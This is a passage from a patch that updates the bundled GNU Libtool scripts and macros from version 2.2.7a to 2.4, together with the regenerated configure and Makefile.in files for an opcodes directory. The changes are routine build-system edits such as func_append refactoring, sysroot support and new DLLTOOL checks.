++ func_append compile_command " $compile_deplibs"
++ func_append finalize_command " $finalize_deplibs"
+
+ if test -n "$rpath$xrpath"; then
+ # If the user specified any rpath flags, then add them.
+@@ -7789,7 +8760,7 @@ EOF
+ # This is the magic to use -rpath.
+ case "$finalize_rpath " in
+ *" $libdir "*) ;;
+- *) finalize_rpath="$finalize_rpath $libdir" ;;
++ *) func_append finalize_rpath " $libdir" ;;
+ esac
+ done
+ fi
+@@ -7808,18 +8779,18 @@ EOF
+ *"$hardcode_libdir_separator$libdir$hardcode_libdir_separator"*)
+ ;;
+ *)
+- hardcode_libdirs="$hardcode_libdirs$hardcode_libdir_separator$libdir"
++ func_append hardcode_libdirs "$hardcode_libdir_separator$libdir"
+ ;;
+ esac
+ fi
+ else
+- eval "flag=\"$hardcode_libdir_flag_spec\""
+- rpath="$rpath $flag"
++ eval flag=\"$hardcode_libdir_flag_spec\"
++ func_append rpath " $flag"
+ fi
+ elif test -n "$runpath_var"; then
+ case "$perm_rpath " in
+ *" $libdir "*) ;;
+- *) perm_rpath="$perm_rpath $libdir" ;;
++ *) func_append perm_rpath " $libdir" ;;
+ esac
+ fi
+ case $host in
+@@ -7828,12 +8799,12 @@ EOF
+ case :$dllsearchpath: in
+ *":$libdir:"*) ;;
+ ::) dllsearchpath=$libdir;;
+- *) dllsearchpath="$dllsearchpath:$libdir";;
++ *) func_append dllsearchpath ":$libdir";;
+ esac
+ case :$dllsearchpath: in
+ *":$testbindir:"*) ;;
+ ::) dllsearchpath=$testbindir;;
+- *) dllsearchpath="$dllsearchpath:$testbindir";;
++ *) func_append dllsearchpath ":$testbindir";;
+ esac
+ ;;
+ esac
+@@ -7842,7 +8813,7 @@ EOF
+ if test -n "$hardcode_libdir_separator" &&
+ test -n "$hardcode_libdirs"; then
+ libdir="$hardcode_libdirs"
+- eval "rpath=\" $hardcode_libdir_flag_spec\""
++ eval rpath=\" $hardcode_libdir_flag_spec\"
+ fi
+ compile_rpath="$rpath"
+
+@@ -7859,18 +8830,18 @@ EOF
+ *"$hardcode_libdir_separator$libdir$hardcode_libdir_separator"*)
+ ;;
+ *)
+- hardcode_libdirs="$hardcode_libdirs$hardcode_libdir_separator$libdir"
++ func_append hardcode_libdirs "$hardcode_libdir_separator$libdir"
+ ;;
+ esac
+ fi
+ else
+- eval "flag=\"$hardcode_libdir_flag_spec\""
+- rpath="$rpath $flag"
++ eval flag=\"$hardcode_libdir_flag_spec\"
++ func_append rpath " $flag"
+ fi
+ elif test -n "$runpath_var"; then
+ case "$finalize_perm_rpath " in
+ *" $libdir "*) ;;
+- *) finalize_perm_rpath="$finalize_perm_rpath $libdir" ;;
++ *) func_append finalize_perm_rpath " $libdir" ;;
+ esac
+ fi
+ done
+@@ -7878,7 +8849,7 @@ EOF
+ if test -n "$hardcode_libdir_separator" &&
+ test -n "$hardcode_libdirs"; then
+ libdir="$hardcode_libdirs"
+- eval "rpath=\" $hardcode_libdir_flag_spec\""
++ eval rpath=\" $hardcode_libdir_flag_spec\"
+ fi
+ finalize_rpath="$rpath"
+
+@@ -7921,6 +8892,12 @@ EOF
+ exit_status=0
+ func_show_eval "$link_command" 'exit_status=$?'
+
++ if test -n "$postlink_cmds"; then
++ func_to_tool_file "$output"
++ postlink_cmds=`func_echo_all "$postlink_cmds" | $SED -e 's%@OUTPUT@%'"$output"'%g' -e 's%@TOOL_OUTPUT@%'"$func_to_tool_file_result"'%g'`
++ func_execute_cmds "$postlink_cmds" 'exit $?'
++ fi
++
+ # Delete the generated files.
+ if test -f "$output_objdir/${outputname}S.${objext}"; then
+ func_show_eval '$RM "$output_objdir/${outputname}S.${objext}"'
+@@ -7943,7 +8920,7 @@ EOF
+ # We should set the runpath_var.
+ rpath=
+ for dir in $perm_rpath; do
+- rpath="$rpath$dir:"
++ func_append rpath "$dir:"
+ done
+ compile_var="$runpath_var=\"$rpath\$$runpath_var\" "
+ fi
+@@ -7951,7 +8928,7 @@ EOF
+ # We should set the runpath_var.
+ rpath=
+ for dir in $finalize_perm_rpath; do
+- rpath="$rpath$dir:"
++ func_append rpath "$dir:"
+ done
+ finalize_var="$runpath_var=\"$rpath\$$runpath_var\" "
+ fi
+@@ -7966,6 +8943,13 @@ EOF
+ $opt_dry_run || $RM $output
+ # Link the executable and exit
+ func_show_eval "$link_command" 'exit $?'
++
++ if test -n "$postlink_cmds"; then
++ func_to_tool_file "$output"
++ postlink_cmds=`func_echo_all "$postlink_cmds" | $SED -e 's%@OUTPUT@%'"$output"'%g' -e 's%@TOOL_OUTPUT@%'"$func_to_tool_file_result"'%g'`
++ func_execute_cmds "$postlink_cmds" 'exit $?'
++ fi
++
+ exit $EXIT_SUCCESS
+ fi
+
+@@ -7999,6 +8983,12 @@ EOF
+
+ func_show_eval "$link_command" 'exit $?'
+
++ if test -n "$postlink_cmds"; then
++ func_to_tool_file "$output_objdir/$outputname"
++ postlink_cmds=`func_echo_all "$postlink_cmds" | $SED -e 's%@OUTPUT@%'"$output_objdir/$outputname"'%g' -e 's%@TOOL_OUTPUT@%'"$func_to_tool_file_result"'%g'`
++ func_execute_cmds "$postlink_cmds" 'exit $?'
++ fi
++
+ # Now create the wrapper script.
+ func_verbose "creating $output"
+
+@@ -8096,7 +9086,7 @@ EOF
+ else
+ oldobjs="$old_deplibs $non_pic_objects"
+ if test "$preload" = yes && test -f "$symfileobj"; then
+- oldobjs="$oldobjs $symfileobj"
++ func_append oldobjs " $symfileobj"
+ fi
+ fi
+ addlibs="$old_convenience"
+@@ -8104,10 +9094,10 @@ EOF
+
+ if test -n "$addlibs"; then
+ gentop="$output_objdir/${outputname}x"
+- generated="$generated $gentop"
++ func_append generated " $gentop"
+
+ func_extract_archives $gentop $addlibs
+- oldobjs="$oldobjs $func_extract_archives_result"
++ func_append oldobjs " $func_extract_archives_result"
+ fi
+
+ # Do each command in the archive commands.
+@@ -8118,10 +9108,10 @@ EOF
+ # Add any objects from preloaded convenience libraries
+ if test -n "$dlprefiles"; then
+ gentop="$output_objdir/${outputname}x"
+- generated="$generated $gentop"
++ func_append generated " $gentop"
+
+ func_extract_archives $gentop $dlprefiles
+- oldobjs="$oldobjs $func_extract_archives_result"
++ func_append oldobjs " $func_extract_archives_result"
+ fi
+
+ # POSIX demands no paths to be encoded in archives. We have
+@@ -8139,7 +9129,7 @@ EOF
+ else
+ echo "copying selected object files to avoid basename conflicts..."
+ gentop="$output_objdir/${outputname}x"
+- generated="$generated $gentop"
++ func_append generated " $gentop"
+ func_mkdir_p "$gentop"
+ save_oldobjs=$oldobjs
+ oldobjs=
+@@ -8163,18 +9153,28 @@ EOF
+ esac
+ done
+ func_show_eval "ln $obj $gentop/$newobj || cp $obj $gentop/$newobj"
+- oldobjs="$oldobjs $gentop/$newobj"
++ func_append oldobjs " $gentop/$newobj"
+ ;;
+- *) oldobjs="$oldobjs $obj" ;;
++ *) func_append oldobjs " $obj" ;;
+ esac
+ done
+ fi
+- eval "cmds=\"$old_archive_cmds\""
++ eval cmds=\"$old_archive_cmds\"
+
+ func_len " $cmds"
+ len=$func_len_result
+ if test "$len" -lt "$max_cmd_len" || test "$max_cmd_len" -le -1; then
+ cmds=$old_archive_cmds
++ elif test -n "$archiver_list_spec"; then
++ func_verbose "using command file archive linking..."
++ for obj in $oldobjs
++ do
++ func_to_tool_file "$obj"
++ $ECHO "$func_to_tool_file_result"
++ done > $output_objdir/$libname.libcmd
++ func_to_tool_file "$output_objdir/$libname.libcmd"
++ oldobjs=" $archiver_list_spec$func_to_tool_file_result"
++ cmds=$old_archive_cmds
+ else
+ # the command line is too long to link in one step, link in parts
+ func_verbose "using piecewise archive linking..."
+@@ -8189,7 +9189,7 @@ EOF
+ do
+ last_oldobj=$obj
+ done
+- eval "test_cmds=\"$old_archive_cmds\""
++ eval test_cmds=\"$old_archive_cmds\"
+ func_len " $test_cmds"
+ len0=$func_len_result
+ len=$len0
+@@ -8208,7 +9208,7 @@ EOF
+ RANLIB=$save_RANLIB
+ fi
+ test -z "$concat_cmds" || concat_cmds=$concat_cmds~
+- eval "concat_cmds=\"\${concat_cmds}$old_archive_cmds\""
++ eval concat_cmds=\"\${concat_cmds}$old_archive_cmds\"
+ objlist=
+ len=$len0
+ fi
+@@ -8216,9 +9216,9 @@ EOF
+ RANLIB=$save_RANLIB
+ oldobjs=$objlist
+ if test "X$oldobjs" = "X" ; then
+- eval "cmds=\"\$concat_cmds\""
++ eval cmds=\"\$concat_cmds\"
+ else
+- eval "cmds=\"\$concat_cmds~\$old_archive_cmds\""
++ eval cmds=\"\$concat_cmds~\$old_archive_cmds\"
+ fi
+ fi
+ fi
+@@ -8268,12 +9268,23 @@ EOF
+ *.la)
+ func_basename "$deplib"
+ name="$func_basename_result"
+- libdir=`${SED} -n -e 's/^libdir=\(.*\)$/\1/p' $deplib`
++ func_resolve_sysroot "$deplib"
++ eval libdir=`${SED} -n -e 's/^libdir=\(.*\)$/\1/p' $func_resolve_sysroot_result`
+ test -z "$libdir" && \
+ func_fatal_error "\`$deplib' is not a valid libtool archive"
+- newdependency_libs="$newdependency_libs $libdir/$name"
++ func_append newdependency_libs " ${lt_sysroot:+=}$libdir/$name"
++ ;;
++ -L*)
++ func_stripname -L '' "$deplib"
++ func_replace_sysroot "$func_stripname_result"
++ func_append newdependency_libs " -L$func_replace_sysroot_result"
+ ;;
+- *) newdependency_libs="$newdependency_libs $deplib" ;;
++ -R*)
++ func_stripname -R '' "$deplib"
++ func_replace_sysroot "$func_stripname_result"
++ func_append newdependency_libs " -R$func_replace_sysroot_result"
++ ;;
++ *) func_append newdependency_libs " $deplib" ;;
+ esac
+ done
+ dependency_libs="$newdependency_libs"
+@@ -8284,12 +9295,14 @@ EOF
+ *.la)
+ func_basename "$lib"
+ name="$func_basename_result"
+- libdir=`${SED} -n -e 's/^libdir=\(.*\)$/\1/p' $lib`
++ func_resolve_sysroot "$lib"
++ eval libdir=`${SED} -n -e 's/^libdir=\(.*\)$/\1/p' $func_resolve_sysroot_result`
++
+ test -z "$libdir" && \
+ func_fatal_error "\`$lib' is not a valid libtool archive"
+- newdlfiles="$newdlfiles $libdir/$name"
++ func_append newdlfiles " ${lt_sysroot:+=}$libdir/$name"
+ ;;
+- *) newdlfiles="$newdlfiles $lib" ;;
++ *) func_append newdlfiles " $lib" ;;
+ esac
+ done
+ dlfiles="$newdlfiles"
+@@ -8303,10 +9316,11 @@ EOF
+ # the library:
+ func_basename "$lib"
+ name="$func_basename_result"
+- libdir=`${SED} -n -e 's/^libdir=\(.*\)$/\1/p' $lib`
++ func_resolve_sysroot "$lib"
++ eval libdir=`${SED} -n -e 's/^libdir=\(.*\)$/\1/p' $func_resolve_sysroot_result`
+ test -z "$libdir" && \
+ func_fatal_error "\`$lib' is not a valid libtool archive"
+- newdlprefiles="$newdlprefiles $libdir/$name"
++ func_append newdlprefiles " ${lt_sysroot:+=}$libdir/$name"
+ ;;
+ esac
+ done
+@@ -8318,7 +9332,7 @@ EOF
+ [\\/]* | [A-Za-z]:[\\/]*) abs="$lib" ;;
+ *) abs=`pwd`"/$lib" ;;
+ esac
+- newdlfiles="$newdlfiles $abs"
++ func_append newdlfiles " $abs"
+ done
+ dlfiles="$newdlfiles"
+ newdlprefiles=
+@@ -8327,7 +9341,7 @@ EOF
+ [\\/]* | [A-Za-z]:[\\/]*) abs="$lib" ;;
+ *) abs=`pwd`"/$lib" ;;
+ esac
+- newdlprefiles="$newdlprefiles $abs"
++ func_append newdlprefiles " $abs"
+ done
+ dlprefiles="$newdlprefiles"
+ fi
+@@ -8412,7 +9426,7 @@ relink_command=\"$relink_command\""
+ exit $EXIT_SUCCESS
+ }
+
+-{ test "$mode" = link || test "$mode" = relink; } &&
++{ test "$opt_mode" = link || test "$opt_mode" = relink; } &&
+ func_mode_link ${1+"$@"}
+
+
+@@ -8432,9 +9446,9 @@ func_mode_uninstall ()
+ for arg
+ do
+ case $arg in
+- -f) RM="$RM $arg"; rmforce=yes ;;
+- -*) RM="$RM $arg" ;;
+- *) files="$files $arg" ;;
++ -f) func_append RM " $arg"; rmforce=yes ;;
++ -*) func_append RM " $arg" ;;
++ *) func_append files " $arg" ;;
+ esac
+ done
+
+@@ -8443,24 +9457,23 @@ func_mode_uninstall ()
+
+ rmdirs=
+
+- origobjdir="$objdir"
+ for file in $files; do
+ func_dirname "$file" "" "."
+ dir="$func_dirname_result"
+ if test "X$dir" = X.; then
+- objdir="$origobjdir"
++ odir="$objdir"
+ else
+- objdir="$dir/$origobjdir"
++ odir="$dir/$objdir"
+ fi
+ func_basename "$file"
+ name="$func_basename_result"
+- test "$mode" = uninstall && objdir="$dir"
++ test "$opt_mode" = uninstall && odir="$dir"
+
+- # Remember objdir for removal later, being careful to avoid duplicates
+- if test "$mode" = clean; then
++ # Remember odir for removal later, being careful to avoid duplicates
++ if test "$opt_mode" = clean; then
+ case " $rmdirs " in
+- *" $objdir "*) ;;
+- *) rmdirs="$rmdirs $objdir" ;;
++ *" $odir "*) ;;
++ *) func_append rmdirs " $odir" ;;
+ esac
+ fi
+
+@@ -8486,18 +9499,17 @@ func_mode_uninstall ()
+
+ # Delete the libtool libraries and symlinks.
+ for n in $library_names; do
+- rmfiles="$rmfiles $objdir/$n"
++ func_append rmfiles " $odir/$n"
+ done
+- test -n "$old_library" && rmfiles="$rmfiles $objdir/$old_library"
++ test -n "$old_library" && func_append rmfiles " $odir/$old_library"
+
+- case "$mode" in
++ case "$opt_mode" in
+ clean)
+- case " $library_names " in
+- # " " in the beginning catches empty $dlname
++ case " $library_names " in
+ *" $dlname "*) ;;
+- *) rmfiles="$rmfiles $objdir/$dlname" ;;
++ *) test -n "$dlname" && func_append rmfiles " $odir/$dlname" ;;
+ esac
+- test -n "$libdir" && rmfiles="$rmfiles $objdir/$name $objdir/${name}i"
++ test -n "$libdir" && func_append rmfiles " $odir/$name $odir/${name}i"
+ ;;
+ uninstall)
+ if test -n "$library_names"; then
+@@ -8525,19 +9537,19 @@ func_mode_uninstall ()
+ # Add PIC object to the list of files to remove.
+ if test -n "$pic_object" &&
+ test "$pic_object" != none; then
+- rmfiles="$rmfiles $dir/$pic_object"
++ func_append rmfiles " $dir/$pic_object"
+ fi
+
+ # Add non-PIC object to the list of files to remove.
+ if test -n "$non_pic_object" &&
+ test "$non_pic_object" != none; then
+- rmfiles="$rmfiles $dir/$non_pic_object"
++ func_append rmfiles " $dir/$non_pic_object"
+ fi
+ fi
+ ;;
+
+ *)
+- if test "$mode" = clean ; then
++ if test "$opt_mode" = clean ; then
+ noexename=$name
+ case $file in
+ *.exe)
+@@ -8547,7 +9559,7 @@ func_mode_uninstall ()
+ noexename=$func_stripname_result
+ # $file with .exe has already been added to rmfiles,
+ # add $file without .exe
+- rmfiles="$rmfiles $file"
++ func_append rmfiles " $file"
+ ;;
+ esac
+ # Do a test to see if this is a libtool program.
+@@ -8556,7 +9568,7 @@ func_mode_uninstall ()
+ func_ltwrapper_scriptname "$file"
+ relink_command=
+ func_source $func_ltwrapper_scriptname_result
+- rmfiles="$rmfiles $func_ltwrapper_scriptname_result"
++ func_append rmfiles " $func_ltwrapper_scriptname_result"
+ else
+ relink_command=
+ func_source $dir/$noexename
+@@ -8564,12 +9576,12 @@ func_mode_uninstall ()
+
+ # note $name still contains .exe if it was in $file originally
+ # as does the version of $file that was added into $rmfiles
+- rmfiles="$rmfiles $objdir/$name $objdir/${name}S.${objext}"
++ func_append rmfiles " $odir/$name $odir/${name}S.${objext}"
+ if test "$fast_install" = yes && test -n "$relink_command"; then
+- rmfiles="$rmfiles $objdir/lt-$name"
++ func_append rmfiles " $odir/lt-$name"
+ fi
+ if test "X$noexename" != "X$name" ; then
+- rmfiles="$rmfiles $objdir/lt-${noexename}.c"
++ func_append rmfiles " $odir/lt-${noexename}.c"
+ fi
+ fi
+ fi
+@@ -8577,7 +9589,6 @@ func_mode_uninstall ()
+ esac
+ func_show_eval "$RM $rmfiles" 'exit_status=1'
+ done
+- objdir="$origobjdir"
+
+ # Try to remove the ${objdir}s in the directories where we deleted files
+ for dir in $rmdirs; do
+@@ -8589,16 +9600,16 @@ func_mode_uninstall ()
+ exit $exit_status
+ }
+
+-{ test "$mode" = uninstall || test "$mode" = clean; } &&
++{ test "$opt_mode" = uninstall || test "$opt_mode" = clean; } &&
+ func_mode_uninstall ${1+"$@"}
+
+-test -z "$mode" && {
++test -z "$opt_mode" && {
+ help="$generic_help"
+ func_fatal_help "you must specify a MODE"
+ }
+
+ test -z "$exec_cmd" && \
+- func_fatal_help "invalid operation mode \`$mode'"
++ func_fatal_help "invalid operation mode \`$opt_mode'"
+
+ if test -n "$exec_cmd"; then
+ eval exec "$exec_cmd"
+diff --git a/ltoptions.m4 b/ltoptions.m4
+index 5ef12ced2a8..17cfd51c0b3 100644
+--- a/ltoptions.m4
++++ b/ltoptions.m4
+@@ -8,7 +8,7 @@
+ # unlimited permission to copy and/or distribute it, with or without
+ # modifications, as long as this notice is preserved.
+
+-# serial 6 ltoptions.m4
++# serial 7 ltoptions.m4
+
+ # This is to help aclocal find these macros, as it can't see m4_define.
+ AC_DEFUN([LTOPTIONS_VERSION], [m4_if([1])])
+diff --git a/ltversion.m4 b/ltversion.m4
+index bf87f77132d..9c7b5d41185 100644
+--- a/ltversion.m4
++++ b/ltversion.m4
+@@ -7,17 +7,17 @@
+ # unlimited permission to copy and/or distribute it, with or without
+ # modifications, as long as this notice is preserved.
+
+-# Generated from ltversion.in.
++# @configure_input@
+
+-# serial 3134 ltversion.m4
++# serial 3293 ltversion.m4
+ # This file is part of GNU Libtool
+
+-m4_define([LT_PACKAGE_VERSION], [2.2.7a])
+-m4_define([LT_PACKAGE_REVISION], [1.3134])
++m4_define([LT_PACKAGE_VERSION], [2.4])
++m4_define([LT_PACKAGE_REVISION], [1.3293])
+
+ AC_DEFUN([LTVERSION_VERSION],
+-[macro_version='2.2.7a'
+-macro_revision='1.3134'
++[macro_version='2.4'
++macro_revision='1.3293'
+ _LT_DECL(, macro_version, 0, [Which release of libtool.m4 was used?])
+ _LT_DECL(, macro_revision, 0)
+ ])
+diff --git a/lt~obsolete.m4 b/lt~obsolete.m4
+index bf92b5e0790..c573da90c5c 100644
+--- a/lt~obsolete.m4
++++ b/lt~obsolete.m4
+@@ -7,7 +7,7 @@
+ # unlimited permission to copy and/or distribute it, with or without
+ # modifications, as long as this notice is preserved.
+
+-# serial 4 lt~obsolete.m4
++# serial 5 lt~obsolete.m4
+
+ # These exist entirely to fool aclocal when bootstrapping libtool.
+ #
+diff --git a/opcodes/Makefile.in b/opcodes/Makefile.in
+index 245479140c9..bfed90449bf 100644
+--- a/opcodes/Makefile.in
++++ b/opcodes/Makefile.in
+@@ -298,6 +298,7 @@ CYGPATH_W = @CYGPATH_W@
+ DATADIRNAME = @DATADIRNAME@
+ DEFS = @DEFS@
+ DEPDIR = @DEPDIR@
++DLLTOOL = @DLLTOOL@
+ DSYMUTIL = @DSYMUTIL@
+ DUMPBIN = @DUMPBIN@
+ ECHO_C = @ECHO_C@
+@@ -336,6 +337,7 @@ LTLIBINTL = @LTLIBINTL@
+ LTLIBOBJS = @LTLIBOBJS@
+ MAINT = @MAINT@
+ MAKEINFO = @MAKEINFO@
++MANIFEST_TOOL = @MANIFEST_TOOL@
+ MKDIR_P = @MKDIR_P@
+ MKINSTALLDIRS = @MKINSTALLDIRS@
+ MSGFMT = @MSGFMT@
+@@ -374,6 +376,7 @@ abs_builddir = @abs_builddir@
+ abs_srcdir = @abs_srcdir@
+ abs_top_builddir = @abs_top_builddir@
+ abs_top_srcdir = @abs_top_srcdir@
++ac_ct_AR = @ac_ct_AR@
+ ac_ct_CC = @ac_ct_CC@
+ ac_ct_DUMPBIN = @ac_ct_DUMPBIN@
+ am__include = @am__include@
+diff --git a/opcodes/configure b/opcodes/configure
+index 1660c3266a3..a1b84ed81f9 100755
+--- a/opcodes/configure
++++ b/opcodes/configure
+@@ -688,6 +688,9 @@ OTOOL
+ LIPO
+ NMEDIT
+ DSYMUTIL
++MANIFEST_TOOL
++ac_ct_AR
++DLLTOOL
+ OBJDUMP
+ LN_S
+ NM
+@@ -806,6 +809,7 @@ enable_static
+ with_pic
+ enable_fast_install
+ with_gnu_ld
++with_libtool_sysroot
+ enable_libtool_lock
+ enable_checking
+ enable_targets
+@@ -1487,6 +1491,8 @@ Optional Packages:
+ --with-libintl-prefix[=DIR] search for libintl in DIR/include and DIR/lib
+ --without-libintl-prefix don't search for libintl in includedir and libdir
+ --with-libintl-type=TYPE type of library to search for (auto/static/shared)
++ --with-libtool-sysroot=DIR Search for dependent libraries within DIR
++ (or the compiler's sysroot if not specified).
+
+ Some influential environment variables:
+ CC C compiler command
+@@ -4997,8 +5003,8 @@ esac
+
+
+
+-macro_version='2.2.7a'
+-macro_revision='1.3134'
++macro_version='2.4'
++macro_revision='1.3293'
+
+
+
+@@ -5038,7 +5044,7 @@ ECHO=$ECHO$ECHO$ECHO$ECHO$ECHO$ECHO
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking how to print strings" >&5
+ $as_echo_n "checking how to print strings... " >&6; }
+ # Test print first, because it will be a builtin if present.
+-if test "X`print -r -- -n 2>/dev/null`" = X-n && \
++if test "X`( print -r -- -n ) 2>/dev/null`" = X-n && \
+ test "X`print -r -- $ECHO 2>/dev/null`" = "X$ECHO"; then
+ ECHO='print -r --'
+ elif test "X`printf %s $ECHO 2>/dev/null`" = "X$ECHO"; then
+@@ -5731,8 +5737,8 @@ $as_echo_n "checking whether the shell understands some XSI constructs... " >&6;
+ # Try some XSI features
+ xsi_shell=no
+ ( _lt_dummy="a/b/c"
+- test "${_lt_dummy##*/},${_lt_dummy%/*},"${_lt_dummy%"$_lt_dummy"}, \
+- = c,a/b,, \
++ test "${_lt_dummy##*/},${_lt_dummy%/*},${_lt_dummy#??}"${_lt_dummy%"$_lt_dummy"}, \
++ = c,a/b,b/c, \
+ && eval 'test $(( 1 + 1 )) -eq 2 \
+ && test "${#_lt_dummy}" -eq 5' ) >/dev/null 2>&1 \
+ && xsi_shell=yes
+@@ -5781,6 +5787,80 @@ esac
+
+
+
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to $host format" >&5
++$as_echo_n "checking how to convert $build file names to $host format... " >&6; }
++if ${lt_cv_to_host_file_cmd+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ case $host in
++ *-*-mingw* )
++ case $build in
++ *-*-mingw* ) # actually msys
++ lt_cv_to_host_file_cmd=func_convert_file_msys_to_w32
++ ;;
++ *-*-cygwin* )
++ lt_cv_to_host_file_cmd=func_convert_file_cygwin_to_w32
++ ;;
++ * ) # otherwise, assume *nix
++ lt_cv_to_host_file_cmd=func_convert_file_nix_to_w32
++ ;;
++ esac
++ ;;
++ *-*-cygwin* )
++ case $build in
++ *-*-mingw* ) # actually msys
++ lt_cv_to_host_file_cmd=func_convert_file_msys_to_cygwin
++ ;;
++ *-*-cygwin* )
++ lt_cv_to_host_file_cmd=func_convert_file_noop
++ ;;
++ * ) # otherwise, assume *nix
++ lt_cv_to_host_file_cmd=func_convert_file_nix_to_cygwin
++ ;;
++ esac
++ ;;
++ * ) # unhandled hosts (and "normal" native builds)
++ lt_cv_to_host_file_cmd=func_convert_file_noop
++ ;;
++esac
++
++fi
++
++to_host_file_cmd=$lt_cv_to_host_file_cmd
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_host_file_cmd" >&5
++$as_echo "$lt_cv_to_host_file_cmd" >&6; }
++
++
++
++
++
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to toolchain format" >&5
++$as_echo_n "checking how to convert $build file names to toolchain format... " >&6; }
++if ${lt_cv_to_tool_file_cmd+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ #assume ordinary cross tools, or native build.
++lt_cv_to_tool_file_cmd=func_convert_file_noop
++case $host in
++ *-*-mingw* )
++ case $build in
++ *-*-mingw* ) # actually msys
++ lt_cv_to_tool_file_cmd=func_convert_file_msys_to_w32
++ ;;
++ esac
++ ;;
++esac
++
++fi
++
++to_tool_file_cmd=$lt_cv_to_tool_file_cmd
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_tool_file_cmd" >&5
++$as_echo "$lt_cv_to_tool_file_cmd" >&6; }
++
++
++
++
++
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $LD option to reload object files" >&5
+ $as_echo_n "checking for $LD option to reload object files... " >&6; }
+ if ${lt_cv_ld_reload_flag+:} false; then :
+@@ -5797,6 +5877,11 @@ case $reload_flag in
+ esac
+ reload_cmds='$LD$reload_flag -o $output$reload_objs'
+ case $host_os in
++ cygwin* | mingw* | pw32* | cegcc*)
++ if test "$GCC" != yes; then
++ reload_cmds=false
++ fi
++ ;;
+ darwin*)
+ if test "$GCC" = yes; then
+ reload_cmds='$LTCC $LTCFLAGS -nostdlib ${wl}-r -o $output$reload_objs'
+@@ -5965,7 +6050,8 @@ mingw* | pw32*)
+ lt_cv_deplibs_check_method='file_magic ^x86 archive import|^x86 DLL'
+ lt_cv_file_magic_cmd='func_win32_libid'
+ else
+- lt_cv_deplibs_check_method='file_magic file format pei*-i386(.*architecture: i386)?'
++ # Keep this pattern in sync with the one in func_win32_libid.
++ lt_cv_deplibs_check_method='file_magic file format (pei*-i386(.*architecture: i386)?|pe-arm-wince|pe-x86-64)'
+ lt_cv_file_magic_cmd='$OBJDUMP -f'
+ fi
+ ;;
+@@ -6124,6 +6210,21 @@ esac
+ fi
+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_deplibs_check_method" >&5
+ $as_echo "$lt_cv_deplibs_check_method" >&6; }
++
++file_magic_glob=
++want_nocaseglob=no
++if test "$build" = "$host"; then
++ case $host_os in
++ mingw* | pw32*)
++ if ( shopt | grep nocaseglob ) >/dev/null 2>&1; then
++ want_nocaseglob=yes
++ else
++ file_magic_glob=`echo aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ | $SED -e "s/\(..\)/s\/[\1]\/[\1]\/g;/g"`
++ fi
++ ;;
++ esac
++fi
++
+ file_magic_cmd=$lt_cv_file_magic_cmd
+ deplibs_check_method=$lt_cv_deplibs_check_method
+ test -z "$deplibs_check_method" && deplibs_check_method=unknown
+@@ -6139,6 +6240,157 @@ test -z "$deplibs_check_method" && deplibs_check_method=unknown
+
+
+
++
++
++
++
++
++
++
++
++
++
++if test -n "$ac_tool_prefix"; then
++ # Extract the first word of "${ac_tool_prefix}dlltool", so it can be a program name with args.
++set dummy ${ac_tool_prefix}dlltool; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_DLLTOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$DLLTOOL"; then
++ ac_cv_prog_DLLTOOL="$DLLTOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_DLLTOOL="${ac_tool_prefix}dlltool"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++DLLTOOL=$ac_cv_prog_DLLTOOL
++if test -n "$DLLTOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $DLLTOOL" >&5
++$as_echo "$DLLTOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++
++fi
++if test -z "$ac_cv_prog_DLLTOOL"; then
++ ac_ct_DLLTOOL=$DLLTOOL
++ # Extract the first word of "dlltool", so it can be a program name with args.
++set dummy dlltool; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_ac_ct_DLLTOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$ac_ct_DLLTOOL"; then
++ ac_cv_prog_ac_ct_DLLTOOL="$ac_ct_DLLTOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_ac_ct_DLLTOOL="dlltool"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++ac_ct_DLLTOOL=$ac_cv_prog_ac_ct_DLLTOOL
++if test -n "$ac_ct_DLLTOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_DLLTOOL" >&5
++$as_echo "$ac_ct_DLLTOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++ if test "x$ac_ct_DLLTOOL" = x; then
++ DLLTOOL="false"
++ else
++ case $cross_compiling:$ac_tool_warned in
++yes:)
++{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
